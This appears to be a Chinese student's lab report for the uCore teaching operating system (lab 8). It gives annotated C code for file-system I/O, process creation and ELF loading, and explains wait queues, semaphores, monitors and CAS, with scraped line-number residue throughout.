74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
static int
sfs_io_nolock(struct sfs_fs *sfs, struct sfs_inode *sin, void *buf, off_t offset, size_t *alenp, bool write) {
struct sfs_disk_inode *din = sin->din;
assert(din->type != SFS_TYPE_DIR);
/* 计算缓冲区读取/写入的终止位置 */
off_t endpos = offset + *alenp, blkoff;
*alenp = 0;
if (offset < 0 || offset >= SFS_MAX_FILE_SIZE || offset > endpos) {
return -E_INVAL;
}
if (offset == endpos) {
/* 如果偏移与终止位置相同,及欲读取/写入0字节的数据 */
return 0;
}
if (endpos > SFS_MAX_FILE_SIZE) {
endpos = SFS_MAX_FILE_SIZE;
}
if (!write) {
if (offset >= din->size) {
/* 如果是读取数据,并冲区中剩余的数据超出一个硬盘节点的数据大小 */
return 0;
}
if (endpos > din->size) {
endpos = din->size;
}
}

/* 根据不同的执行函数,设置对应的函数指针 */
int (*sfs_buf_op)(struct sfs_fs *sfs, void *buf, size_t len, uint32_t blkno, off_t offset);
int (*sfs_block_op)(struct sfs_fs *sfs, void *buf, uint32_t blkno, uint32_t nblks);
if (write) {
sfs_buf_op = sfs_wbuf, sfs_block_op = sfs_wblock;
}
else {
sfs_buf_op = sfs_rbuf, sfs_block_op = sfs_rblock;
}

int ret = 0;
size_t size, alen = 0;
uint32_t ino;
uint32_t blkno = offset / SFS_BLKSIZE; /* Rd/Wr起始块的编号 */
uint32_t nblks = endpos / SFS_BLKSIZE - blkno; /* Rd/Wr块的大小 */

/* <---- start ----> */

if ((blkoff = offset % SFS_BLKSIZE) != 0) {
/* 对齐偏移,如果偏移没有对齐第一个基础块,则多读取/写入第一个基础块的末尾数据 */
size = (nblks != 0) ? (SFS_BLKSIZE - blkoff) : (endpos - offset);
if ((ret = sfs_bmap_load_nolock(sfs, sin, blkno, &ino)) != 0) {
/* 获取第一个基础块所对应的block的编号ino */
goto out;
}
if ((ret = sfs_buf_op(sfs, buf, size, ino, blkoff)) != 0) {
/* 通过上一步取出的ino,读取/写入一部分第一个基础块的末尾数据 */
goto out;
}
alen += size;
if (nblks == 0) {
goto out;
}
buf += size, blkno ++, nblks --;
}

size = SFS_BLKSIZE;
while (nblks != 0) { /* 循环读取/写入对齐好的数据 */
if ((ret = sfs_bmap_load_nolock(sfs, sin, blkno, &ino)) != 0) {
/* 获取inode对应的基础块编号 */
goto out;
}
if ((ret = sfs_block_op(sfs, buf, ino, 1)) != 0) {
/* 单次读取/写入一基础块的数据 */
goto out;
}
alen += size, buf += size, blkno ++, nblks --;
}

if ((size = endpos % SFS_BLKSIZE) != 0) {
/* 如果末尾位置没有与最后一个基础块对齐,则多读取/写入一点末尾基础块的数据 */
if ((ret = sfs_bmap_load_nolock(sfs, sin, blkno, &ino)) != 0) {
goto out;
}
if ((ret = sfs_buf_op(sfs, buf, size, ino, 0)) != 0) {
goto out;
}
alen += size;
}

/* <---- end ----> */

out:
*alenp = alen;
if (offset + alen > sin->din->size) {
sin->din->size = offset + alen;
sin->dirty = 1;
}
return ret;
}

练习2-完成基于文件系统的执行程序机制的实现

基于文件系统的执行程序机制,有几部分地方需要添加代码,分别是 alloc_procdo_forkload_icode 三个函数

  • alloc_proc:分配一个 proc_struct,用于描述进程的信息(在之前实验已经实现过了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static struct proc_struct *
alloc_proc(void) {
struct proc_struct *proc = kmalloc(sizeof(struct proc_struct));
if (proc != NULL) {
proc->state = PROC_UNINIT;
proc->pid = -1;
proc->runs = 0;
proc->kstack = 0;
proc->need_resched = 0;
proc->parent = NULL;
proc->mm = NULL;
memset(&(proc->context), 0, sizeof(struct context));
proc->tf = NULL;
proc->cr3 = boot_cr3;
proc->flags = 0;
memset(proc->name, 0, PROC_NAME_LEN);
proc->wait_state = 0;
proc->cptr = proc->optr = proc->yptr = NULL;
proc->rq = NULL;
list_init(&(proc->run_link));
proc->time_slice = 0;
proc->lab6_run_pool.left = proc->lab6_run_pool.right = proc->lab6_run_pool.parent = NULL;
proc->lab6_stride = 0;
proc->lab6_priority = 0;
proc->filesp = NULL; /* lab8新添:proc->filesp,用于描述进程的文件相关信息 */
}
return proc;
}

新增的条目为 files_struct 结构体:(用于在进程中管理多个 file 结构体)

1
2
3
4
5
6
struct files_struct {
struct inode *pwd; // 当前工作目录的inode
struct file *fd_array; // 打开的文件数组(存放file结构体)
int files_count; // 打开的文件数
semaphore_t files_sem; // 对应的信号量
};
  • do_fork:创建当前内核线程的一个副本,它们的执行上下文、代码、数据都一样,但是存储位置不同,在这个过程中,需要给新内核线程分配资源,并且复制原进程的状态(在之前实验已经实现过了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
int
do_fork(uint32_t clone_flags, uintptr_t stack, struct trapframe *tf) {
int ret = -E_NO_FREE_PROC;
struct proc_struct *proc;
if (nr_process >= MAX_PROCESS) {
goto fork_out;
}
ret = -E_NO_MEM;
if ((proc = alloc_proc()) == NULL) { /* 分配一个物理页,作为proc_struct */
goto fork_out;
}

proc->parent = current; /* 设置父进程为当前进程 */
assert(current->wait_state == 0); /* lab5新增:断言进程为等待态 */

if (setup_kstack(proc) != 0) { /* 分配内核栈 */
goto bad_fork_cleanup_proc;
}
if (copy_fs(clone_flags, proc) != 0) { /* lab8新添:将当前进程的fs复制到,fork出的进程中 */
goto bad_fork_cleanup_kstack;
}
if (copy_mm(clone_flags, proc) != 0) { /* 将所有虚拟页数据复制过去 */
goto bad_fork_cleanup_fs;
}
copy_thread(proc, stack, tf); /* 复制线程的状态,包括寄存器上下文等等 */

bool intr_flag;
local_intr_save(intr_flag); /* 阻塞中断 */
{
proc->pid = get_pid(); /* 为进程分配唯一的PID */
hash_proc(proc); /* 将proc添加到进程哈希链表中 */
set_links(proc); /* lab5改动:取消list_add,采用set_links */
}
local_intr_restore(intr_flag); /* 解除中断的阻塞 */
wakeup_proc(proc); /* 设置新的子进程可执行(唤醒该进程) */
ret = proc->pid; /* 设置返回值为pid */

fork_out:
return ret;

bad_fork_cleanup_fs: /* lab8新添:goto标志位 */
put_fs(proc);
bad_fork_cleanup_kstack:
put_kstack(proc);
bad_fork_cleanup_proc:
kfree(proc);
goto fork_out;
}
  • load_icode:加载并解析一个处于内存中的ELF执行文件格式的应用程序(函数改动较大)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
static int
load_icode(int fd, int argc, char **kargv) {
// fd:对应的文件描述符
// argc:传入load_icode函数的参数个数
// kargv:传入的各个参数
assert(argc >= 0 && argc <= EXEC_MAX_ARG_NUM);

if (current->mm != NULL) { /* 检查当前进程是否为NULL */
panic("load_icode: current->mm must be empty.\n");
}

int ret = -E_NO_MEM;
struct mm_struct *mm; /* mm_struct结构体:用于描述虚拟内存区域(vma)的各种信息 */
if ((mm = mm_create()) == NULL) { /* 创建一片虚拟内存 */
goto bad_mm; /* 创建失败,直接返回 */
}
if (setup_pgdir(mm) != 0) { /* 新建一个页目录表,每个进程都需要一个页目录表 */
goto bad_pgdir_cleanup_mm; /* 创建失败,执行mm_destroy */
}

struct Page *page;
struct elfhdr __elf, *elf = &__elf; /* lab8改动:获取的二进制文件的基础信息 */

if ((ret = load_icode_read(fd, elf, sizeof(struct elfhdr), 0)) != 0) {
/* 获取的二进制文件的文件头 */
goto bad_elf_cleanup_pgdir;
}

if (elf->e_magic != ELF_MAGIC) { /* 检查该程序的魔数是否正确 */
ret = -E_INVAL_ELF;
goto bad_elf_cleanup_pgdir;
}

/* <---- 遍历程序头表,并构建vma ----> */

struct proghdr __ph, *ph = &__ph;
uint32_t vm_flags, perm, phnum;
for (phnum = 0; phnum < elf->e_phnum; phnum ++) { /* 遍历整个程序头表(ph就是各个段头表) */
off_t phoff = elf->e_phoff + sizeof(struct proghdr) * phnum;
if ((ret = load_icode_read(fd, ph, sizeof(struct proghdr), phoff)) != 0) {
goto bad_cleanup_mmap;
}
if (ph->p_type != ELF_PT_LOAD) {
/* 遍历寻找到ELF_PT_LOAD为止,在ucore中,该段是TEXT/DATA */
continue ;
}
if (ph->p_filesz > ph->p_memsz) {
/* 文件中段的大小 > 内存中段的大小 */
/* 内存中p_memsz大于p_filesz的原因是,可加载段可能包含一个.bss部分,没有此部分则是等于状态,绝对不可能是小于状态 */
ret = -E_INVAL_ELF;
goto bad_cleanup_mmap; /* 调用exit_mmap */
}
if (ph->p_filesz == 0) {
continue ;
}

/* <---- 根据标志位进行初始化,准备构建vma ----> */

vm_flags = 0, perm = PTE_U;
if (ph->p_flags & ELF_PF_X) vm_flags |= VM_EXEC;
if (ph->p_flags & ELF_PF_W) vm_flags |= VM_WRITE;
if (ph->p_flags & ELF_PF_R) vm_flags |= VM_READ;
if (vm_flags & VM_WRITE) perm |= PTE_W;
if ((ret = mm_map(mm, ph->p_va, ph->p_memsz, vm_flags, NULL)) != 0) {
/* 调用mm_map,为目标段构建新的vma */
goto bad_cleanup_mmap; /* 调用exit_mmap */
}

/* <---- 建立并分配页目录表,复制TEXT/DATA段到进程的内存(建立映射) ----> */

off_t offset = ph->p_offset; /* 获取TEXT/DATA的段地址 */
size_t off, size;
uintptr_t start = ph->p_va, end, la = ROUNDDOWN(start, PGSIZE);
/* start:初始化为段起始地址(映射段的虚拟地址) */
/* la(可变参数):start进行内存页对齐后(只舍不进)的地址 */

ret = -E_NO_MEM;
end = ph->p_va + ph->p_filesz;
/* end:初始化为段结束地址(映射段的虚拟地址+文件中段的大小) */

while (start < end) { /* 持续为pgdir分配页表,直到整个段都完成映射 */
if ((page = pgdir_alloc_page(mm->pgdir, la, perm)) == NULL) {
/* 分配一块物理页(作为页表),设置页表项(对应la),插入页表目录(pgdir) */
ret = -E_NO_MEM;
goto bad_cleanup_mmap;
}
off = start - la; /* 更新偏移 */
/* 第一次: off='start为了页对齐而舍弃的数值'(正) */
/* 后续: off='0' */
size = PGSIZE - off; /* 更新已分配的段大小(每次增加PGSIZE) */
la += PGSIZE; /* 更新当前的物理地址(每次增加PGSIZE) */

if (end < la) {
size -= la - end; /* 获取准确的段大小 */
}
if ((ret = load_icode_read(fd, page2kva(page) + off, size, offset)) != 0) {
/* 获取页目录表的虚拟地址,通过off计算出对应页目录表项,用memcpy在其中填入from(TEXT/DATA段的起始地址) */
goto bad_cleanup_mmap;
}
start += size, offset += size;
/* 第一次: start增加的值比la小一些 */
/* 后续: start和la都增加相同的值(PGSIZE),并且地址也相同 */
}

/* <---- 分配内存,建立并分配页目录表,建立BSS段(建立映射) ----> */

end = ph->p_va + ph->p_memsz; /* end:初始化为段结束地址(映射段的虚拟地址+内存中段的大小) */

if (start < la) {
if (start == end) { /* start最后会小于等于la,以下代码就是为了当"start<la"时,实现"start=la",并且置空原start距新start多出的部分 */
continue ;
}
off = start + PGSIZE - la, size = PGSIZE - off;
if (end < la) {
size -= la - end;
}
memset(page2kva(page) + off, 0, size);
/* 获取页目录表的虚拟地址,通过off计算出对应页目录表项,并使用memset置空 */
start += size;
assert((end < la && start == end) || (end >= la && start == la));
}

while (start < end) { /* 持续为pgdir分配页表,直到整个段都完成映射 */
if ((page = pgdir_alloc_page(mm->pgdir, la, perm)) == NULL) {
ret = -E_NO_MEM;
goto bad_cleanup_mmap; /* 调用exit_mmap */
}
off = start - la, size = PGSIZE - off, la += PGSIZE;
if (end < la) {
size -= la - end;
}
memset(page2kva(page) + off, 0, size);
/* 获取页目录表的虚拟地址,通过off计算出对应页目录表项,并使用memset置空 */
start += size;
}
}

/* <---- 构建用户堆栈内存 ----> */

sysfile_close(fd);
vm_flags = VM_READ | VM_WRITE | VM_STACK;
if ((ret = mm_map(mm, USTACKTOP - USTACKSIZE, USTACKSIZE, vm_flags, NULL)) != 0) {
goto bad_cleanup_mmap; /* 调用exit_mmap */
}
assert(pgdir_alloc_page(mm->pgdir, USTACKTOP-PGSIZE , PTE_USER) != NULL);
assert(pgdir_alloc_page(mm->pgdir, USTACKTOP-2*PGSIZE , PTE_USER) != NULL);
assert(pgdir_alloc_page(mm->pgdir, USTACKTOP-3*PGSIZE , PTE_USER) != NULL);
assert(pgdir_alloc_page(mm->pgdir, USTACKTOP-4*PGSIZE , PTE_USER) != NULL);

/* <---- 设置当前进程的mm,sr3,设置CR3寄存器 ----> */

mm_count_inc(mm); /* 设置并返回"共享该虚拟内存空间mva的进程数" */
current->mm = mm; /* 设置当前进程的"proc_struct->mm"为该虚拟内存空间mva */
current->cr3 = PADDR(mm->pgdir); /* 设置当前进程的"proc_struct->cr3"为该页目录表的地址 */
lcr3(PADDR(mm->pgdir)); /* 设置CR3寄存器为当前页目录表的物理地址 */

/* <---- lab8新增:设置execve所启动的程序参数 ----> */

uint32_t argv_size=0, i;
for (i = 0; i < argc; i ++) {
argv_size += strnlen(kargv[i],EXEC_MAX_ARG_LEN + 1)+1;
}

uintptr_t stacktop = USTACKTOP - (argv_size/sizeof(long)+1)*sizeof(long);
char** uargv=(char **)(stacktop - argc * sizeof(char *));

argv_size = 0;
for (i = 0; i < argc; i ++) { /* 直接将传入的参数压入至新栈的底部 */
uargv[i] = strcpy((char *)(stacktop + argv_size ), kargv[i]);
argv_size += strnlen(kargv[i],EXEC_MAX_ARG_LEN + 1)+1;
}

stacktop = (uintptr_t)uargv - sizeof(int);
*(int *)stacktop = argc;

/* <---- 为用户环境设置trapframe ----> */

struct trapframe *tf = current->tf; /* 构建中断帧 */
memset(tf, 0, sizeof(struct trapframe)); /* 把trapframe清零 */
tf->tf_cs = USER_CS; /* 初始化中断帧的各个条目 */
tf->tf_ds = tf->tf_es = tf->tf_ss = USER_DS;
tf->tf_esp = stacktop;
tf->tf_eip = elf->e_entry;
tf->tf_eflags = FL_IF;
ret = 0;

out:
return ret;
bad_cleanup_mmap:
exit_mmap(mm);
bad_elf_cleanup_pgdir:
put_pgdir(mm);
bad_pgdir_cleanup_mm:
mm_destroy(mm);
bad_mm:
goto out;
}

原子操作

原子操作(Atomic Operator)是指一次不存在任何中断或失效的操作

等待队列

前面的实验中已经实现了进程运行队列(就绪队列),而等待队列和它们类似:

1
2
3
4
5
6
7
8
9
10
typedef struct {
list_entry_t wait_head; /* 等待队列的头结点(哨兵节点) */
} wait_queue_t;

typedef struct {
struct proc_struct *proc; /* 关联的进程 */
uint32_t wakeup_flags; /* 唤醒标识 */
wait_queue_t *wait_queue; /* 该节点所属的等待队列 */
list_entry_t wait_link; /* 其等待队列的链表结构,可以看作是队列结点 */
} wait_t;

等待队列结构底层操作:

  • wait_init:初始化 wait 等待队列项,为 wait(等待队列结构体)绑定一个 proc(进程)
1
2
3
4
5
6
void
wait_init(wait_t *wait, struct proc_struct *proc) {
wait->proc = proc; /* 设置关联的进程 */
wait->wakeup_flags = WT_INTERRUPTED; /* 等待状态可中断(苏醒) */
list_init(&(wait->wait_link)); /* 初始化等待队列 */
}
  • wait_queue_init:初始化等待队列
1
2
3
4
void
wait_queue_init(wait_queue_t *queue) {
list_init(&(queue->wait_head)); /* 初始化等待队列 */
}
  • wait_queue_add:将 wait 节点项插入等待队列
1
2
3
4
5
6
void
wait_queue_add(wait_queue_t *queue, wait_t *wait) {
assert(list_empty(&(wait->wait_link)) && wait->proc != NULL);
wait->wait_queue = queue; /* 设置该等待队列结点所属的等待队列 */
list_add_before(&(queue->wait_head), &(wait->wait_link)); /* 插头 */
}
  • wait_queue_del:将 wait 项从等待队列中移除
1
2
3
4
5
void
wait_queue_del(wait_queue_t *queue, wait_t *wait) {
assert(!list_empty(&(wait->wait_link)) && wait->wait_queue == queue);
list_del_init(&(wait->wait_link)); /* 脱链 */
}
  • wait_queue_next:获取等待队列中wait节点的下一项
1
2
3
4
5
6
7
8
9
wait_t *
wait_queue_next(wait_queue_t *queue, wait_t *wait) {
assert(!list_empty(&(wait->wait_link)) && wait->wait_queue == queue);
list_entry_t *le = list_next(&(wait->wait_link));
if (le != &(queue->wait_head)) {
return le2wait(le, wait_link); /* 根据链表信息获取wait结构体 */
}
return NULL;
}
  • wait_queue_prev:获取等待队列中wait节点的前一项
1
2
3
4
5
6
7
8
9
wait_t *
wait_queue_prev(wait_queue_t *queue, wait_t *wait) {
assert(!list_empty(&(wait->wait_link)) && wait->wait_queue == queue);
list_entry_t *le = list_prev(&(wait->wait_link));
if (le != &(queue->wait_head)) {
return le2wait(le, wait_link); /* 根据链表信息获取wait结构体 */
}
return NULL;
}
  • wait_queue_first:获取等待队列的第一项
1
2
3
4
5
6
7
8
wait_t *
wait_queue_first(wait_queue_t *queue) {
list_entry_t *le = list_next(&(queue->wait_head));
if (le != &(queue->wait_head)) {
return le2wait(le, wait_link); /* 根据链表信息获取wait结构体 */
}
return NULL;
}
  • wait_queue_last:获取等待队列的最后一项
1
2
3
4
5
6
7
8
wait_t *
wait_queue_last(wait_queue_t *queue) {
list_entry_t *le = list_prev(&(queue->wait_head));
if (le != &(queue->wait_head)) {
return le2wait(le, wait_link); /* 根据链表信息获取wait结构体 */
}
return NULL;
}
  • wait_queue_empty:检查等待队列是否为空
1
2
3
4
5
6
7
8
9
bool
wait_queue_empty(wait_queue_t *queue) {
return list_empty(&(queue->wait_head));
}

static inline bool
list_empty(list_entry_t *list) {
return list->next == list;
}
  • wait_in_queue:检查 wait 项是否在等待队列中
1
2
3
4
bool
wait_in_queue(wait_t *wait) {
return !list_empty(&(wait->wait_link));
}

等待队列休眠/唤醒等高层操作:

  • wakeup_wait:将等待队列中的 wait 项对应的线程唤醒
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void
wakeup_wait(wait_queue_t *queue, wait_t *wait, uint32_t wakeup_flags, bool del) {
if (del) {
wait_queue_del(queue, wait); /* 根据del标识来决定该wait结构体是否保留 */
}
wait->wakeup_flags = wakeup_flags; /* 已经苏醒 */
wakeup_proc(wait->proc); /* 唤醒该进程 */
}

void
wakeup_proc(struct proc_struct *proc) {
assert(proc->state != PROC_ZOMBIE);
bool intr_flag;
local_intr_save(intr_flag);
{
if (proc->state != PROC_RUNNABLE) {
proc->state = PROC_RUNNABLE; /* 设置"PROC_RUNNABLE" */
proc->wait_state = 0;
if (proc != current) {
sched_class_enqueue(proc);
}
}
else {
warn("wakeup runnable process.\n");
}
}
local_intr_restore(intr_flag);
}
  • wakeup_first:将等待队列中的第一项对应的线程唤醒
1
2
3
4
5
6
7
8
void
wakeup_first(wait_queue_t *queue, uint32_t wakeup_flags, bool del) {
wait_t *wait;
if ((wait = wait_queue_first(queue)) != NULL) {
/* 调用wait_queue_first获取等待队列的第一项,然后将其唤醒 */
wakeup_wait(queue, wait, wakeup_flags, del);
}
}
  • wakeup_queue:将等待队列中的所有项对应的线程全部唤醒
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void
wakeup_queue(wait_queue_t *queue, uint32_t wakeup_flags, bool del) {
wait_t *wait;
if ((wait = wait_queue_first(queue)) != NULL) {
if (del) { /* 根据del标识来决定该wait结构体是否保留 */
do {
wakeup_wait(queue, wait, wakeup_flags, 1);
} while ((wait = wait_queue_first(queue)) != NULL);
}
else {
do {
wakeup_wait(queue, wait, wakeup_flags, 0);
} while ((wait = wait_queue_next(queue, wait)) != NULL);
}
}
}
  • wait_current_set:为当前进程绑定 wait,使其休眠并且插入等待队列
1
2
3
4
5
6
7
8
void
wait_current_set(wait_queue_t *queue, wait_t *wait, uint32_t wait_state) {
assert(current != NULL);
wait_init(wait, current); /* 为wait绑定进程current */
current->state = PROC_SLEEPING; /* 设置当前进程状态为:PROC_SLEEPING(睡眠) */
current->wait_state = wait_state; /* 设置等待原因(人工输入) */
wait_queue_add(queue, wait); /* 将wait节点项插入等待队列 */
}
  • wait_current_del:将 wait 项(绑定有当前进程)从等待队列中删除(如果存在的话)
1
2
3
4
5
6
7
8
#define wait_current_del(queue, wait)                                       \
do { \
if (wait_in_queue(wait)) { \
wait_queue_del(queue, wait); \
} \
} while (0)

#endif /* !__KERN_SYNC_WAIT_H__ */

临界区

每个进程中访问临界资源的那段程序称为临界区,临界资源是一次仅允许一个进程使用的共享资源,每次只准许一个进程进入临界区,进入后不允许其他进程进入

相关区域的概念:

  • 临界区(critical section):进程中访问临界资源的一段需要互斥执行的代码
  • 进入区(entry section):检查可否进入临界区的一段代码,如果可以进入,则设置“正在访问临界区”标志
  • 退出区(exit section):清除标志
  • 剩余区(remainder section):代码中的其余部分

信号量

信号量是一个有整数值的对象,可以用两个函数来操作它

Linux中的信号量是一种睡眠锁,本质上是一个计数器,用于多进程对共享数据对象的读取,它和管道有所不同,它不以传送数据为主要目的,它主要是用来保护共享资源(信号量也属于临界资源),使得资源在一个时刻只有一个进程独享

  • 信号量(Semaphore)是操作系统提供的一种协调共享资源访问的方法
    • 软件同步是平等线程间的一种同步协商机制
    • OS 是管理者,地位高于进程
    • 用信号量表示系统资源的数量
  • 信号量是一种抽象数据类型
    • 由一个整数(sem)变量和两个原子操作(PV)组成
    • 整数sem:
      • sem >= 0:代表剩余可供并发进程使用的资源实体数
      • sem < 0:代表正在使用的资源实体数
    • P操作:
      • sem —
      • 如果 sem < 0,则该进程进入阻塞队列(等待队列)
      • 如果 sem >= 0,则该进程继续执行
    • V操作:
      • sem ++
      • 如果 sem < 0,则唤醒阻塞队列中的第一个等待信号量的进程
      • 如果 sem > 0,则该进程继续执行
  • 信号量是被保护的整数变量
    • 初始化完成后,只能通过 P() 和 V() 操作修改
    • 由操作系统来保证,PV操作是原子操作

PV操作

PV操作是一种实现进程互斥与同步的有效方法,PV操作与信号量的处理相关(P表示通过的意思,V表示释放的意思)

PV操作是典型的同步机制之一,用一个信号量与一个消息联系起来

  • 当信号量的值为“0”时,表示期望的消息尚未产生
  • 当信号量的值非“0”时,表示期望的消息已经存在

用PV操作实现进程同步时,调用P操作测试消息是否到达,调用V操作发送消息

ucore 中采用以下结构体来管理信号量

1
2
3
4
typedef struct {
int value; /* 信号量值 */
wait_queue_t wait_queue; /* 等待队列 */
} semaphore_t;
  • value 是用于判断该信号量能否进入临界区的关键参数
  • wait_queue 记录了该信号量所属的等待队列,便于之后的 wait_current_setwait_current_del 把当前进程填入或取出该等待队列

进入临界区时,uCore会执行 down 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void
down(semaphore_t *sem) {
uint32_t flags = __down(sem, WT_KSEM); /* 等待原因:内核信号量WT_KSEM */
assert(flags == 0);
}

static __noinline uint32_t __down(semaphore_t *sem, uint32_t wait_state) {
bool intr_flag;
local_intr_save(intr_flag);
if (sem->value > 0) {
/* 当信号量的value值大于'0'时,说明还能容纳当前线程进入临界区 */
sem->value --; /* value值递减(扣减信号量) */
local_intr_restore(intr_flag);
return 0;
}
/* 当信号量的value值等于'0'时,说明已经无法容纳更多的线程了 */
wait_t __wait, *wait = &__wait;
wait_current_set(&(sem->wait_queue), wait, wait_state); /* 使当前进程休眠 */
local_intr_restore(intr_flag);

schedule(); /* 重新执行调度程序(当前进程放弃CPU资源) */

local_intr_save(intr_flag);
wait_current_del(&(sem->wait_queue), wait); /* 将wait项从等待队列中删除 */
local_intr_restore(intr_flag);

if (wait->wakeup_flags != wait_state) {
return wait->wakeup_flags;
}
return 0;
}
  • 当信号量的value值大于“0”时,说明还能容纳当前线程进入临界区
  • 当信号量的value值等于“0”时。说明已经无法容纳更多的线程了,此时需要将当前线程阻塞在信号量的等待队列上,等待信号量的 up 操作将其唤醒
  • 按照程序的逻辑,value值不可能小于“0”

退出临界区时,uCore会执行 up 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
void
up(semaphore_t *sem) {
__up(sem, WT_KSEM);
}

static __noinline void __up(semaphore_t *sem, uint32_t wait_state) {
bool intr_flag;
local_intr_save(intr_flag);
{
wait_t *wait;
if ((wait = wait_queue_first(&(sem->wait_queue))) == NULL) {
/* 尝试获取等待队列的第一项,如果有就唤醒,没有就增加信号量 */
sem->value ++; /* value值递增(增加信号量) */
}
else {
assert(wait->proc->wait_state == wait_state);
wakeup_wait(&(sem->wait_queue), wait, wait_state, 1); /* 将等待队列中的wait项对应的线程唤醒 */
}
}
local_intr_restore(intr_flag);
}
  • 等待队列为NULL,代表了资源实体充足,也就是说没有进程因为“互斥资源实体不足”而进入等待队列,自然没有必要唤醒
  • 信号量增加,代表了剩余可供并发进程使用的资源实体数增加

PS:可以发现,ucore 对临界区的处理和 PV 操作有点不同,并没有刻意让 value 值为负,而是直接将当前进程添加入等待队列,退出临界区时,又从等待队列中唤醒该进程

与信号量有关的函数

  • sem_init:初始化信息量(各个条目需要手动输入)
1
2
3
4
5
void
sem_init(semaphore_t *sem, int value) {
sem->value = value;
wait_queue_init(&(sem->wait_queue));
}
  • 未进行初始化的信号量根本就没有对应的等待队列,所以需要调用 wait_queue_init 来初始化一个等待队列
  • 因为信号量是分配到栈上的,所以不需要格外的“create”或者“destroy”操作

管程

管程(Monitor)是一种用于多线程互斥访问共享资源的程序结构(其实就是封装了一下PV操作),它为进程提供了一种“抽象”,使进程可以通过访问管程来间接访问共享资源

  • 采用面向对象方法,简化了线程间的同步控制
  • 任一时刻最多只有一个线程执行管程代码
  • 正在管程中的线程可临时放弃管程的互斥访问,等待事件出现时恢复

管程的组成

  • 一个锁:控制管程代码的互斥访问
  • 0-n 个条件变量:用于管理共享数据的并发访问

引入管程机制的目的:

  • 把分散在各进程中的临界区集中起来进行管理
  • 防止进程有意或无意的违法同步操作(防止死锁)
  • 便于用高级语言来书写程序,也便于程序正确性验证

在 ucore 中有如下结构体来管理管程:

1
2
3
4
5
6
7
8
typedef struct monitor monitor_t;

typedef struct monitor{
semaphore_t mutex; // 管程锁,每次只能有一个进程执行管程代码(该值初始化为'1')
semaphore_t next; // 用于条件同步(进程同步操作的信号量),发出signal操作的进程等条件为真之前进入睡眠
int next_count; // 休眠的信令进程数
condvar_t *cv; // 当前管程中存放所有条件变量的数组
} monitor_t;
  • mutex:
    • 管程中的成员变量 mutex 是一个二值信号量,是实现每次只允许一个进程进入管程的关键元素,确保了互斥访问性质
  • cv:
    • 管程中的条件变量 cv 通过执行 wait_cv,会使得等待某个条件 C 为真的进程能够离开管程并睡眠,且让其他进程进入管程继续执行
    • 而进入管程的某进程设置条件 C 为真并执行 signal_cv 时,能够让等待某个条件 C 为真的睡眠进程被唤醒,从而继续进入管程中执行
  • next,next_count:
    • 管程中的成员变量信号量 next 和整形变量 next_count 是配合进程对条件变量 cv 的操作而设置的
    • 这是由于发出signal_cv 的进程 A 会唤醒睡眠进程 B,进程 B 执行会导致进程 A 睡眠,直到进程 B 离开管程,进程 A 才能继续执行,这个同步过程是通过信号量 next 完成的

下面是与条件变量有关的结构体:

1
2
3
4
5
typedef struct condvar{
semaphore_t sem; // 条件变量所对应的信号量
int count; // 等待当前条件变量的等待进程总数
monitor_t * owner; // 当前条件变量的父管程
} condvar_t;
  • sem:信号量 sem 用于让发出 wait_cv 操作的
  • count:表示等在这个条件变量上的睡眠进程的个数
  • owner:表示此条件变量的宿主是哪个管程

与管程有关的函数:

  • monitor_init:初始化一个管程
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void     
monitor_init (monitor_t * mtp, size_t num_cv) {
int i;
assert(num_cv>0);
mtp->next_count = 0;
mtp->cv = NULL;
sem_init(&(mtp->mutex), 1); /* 初始化信号量mutex(管程锁)为'1' */
sem_init(&(mtp->next), 0); /* 初始化信号量next为'0' */
mtp->cv =(condvar_t *) kmalloc(sizeof(condvar_t)*num_cv); /* 分配条件变量 */
assert(mtp->cv!=NULL);
for(i=0; i<num_cv; i++){ /* 初始化各个条件变量的值 */
mtp->cv[i].count=0;
sem_init(&(mtp->cv[i].sem),0);
mtp->cv[i].owner=mtp;
}
}
  • cond_signal:当某个线程准备离开临界区,准备释放对应的条件变量时,执行该函数(需要实现)
  • cond_wait:当某个线程需要等待锁时,执行该函数(需要实现)

进程的交互关系

相互感知的程度 交互关系 进程间的影响
相互不感知(完全不了解其他进程的存在) 独立 一个进程的操作对其他进程的结果无影响
间接感知(双方都与第三方交互,例如数据共享) 通过共享进行协作 一个进程的结果依赖于共享资源的状态
直接感知(双方直接交互,例如通信) 通过通信进行协作 一个进程的结果依赖于从其他进程获得的信息

进程之间可能出现三种关系:

  • 互斥(mutual exclusion):一个进程占用资源,其他进程不能使用
  • 死锁(deadlock):多个进程占用部分资源,形成循环等待
  • 饥饿(starvation):其他进程可能轮流占用资源,一个进程一直得不到资源

CAS与锁

CAS

CPU拥有多个物理核心,利用超线程技术可以把这些物理核心分为更多的逻辑核心

这就产生了一些问题:

左边是我们预想的执行顺序,右边是可以产生的情况(从不同的寄存器中读取了“0”)

如果把 “i++” 设置为原子操作,那么 “i+2”,“i+3”,“i*3” …… 这些都要设置为原子操作,大大影响了效率,于是 CPU 就提供了一个抽象的底层指令 cas(Compare and Set)

1
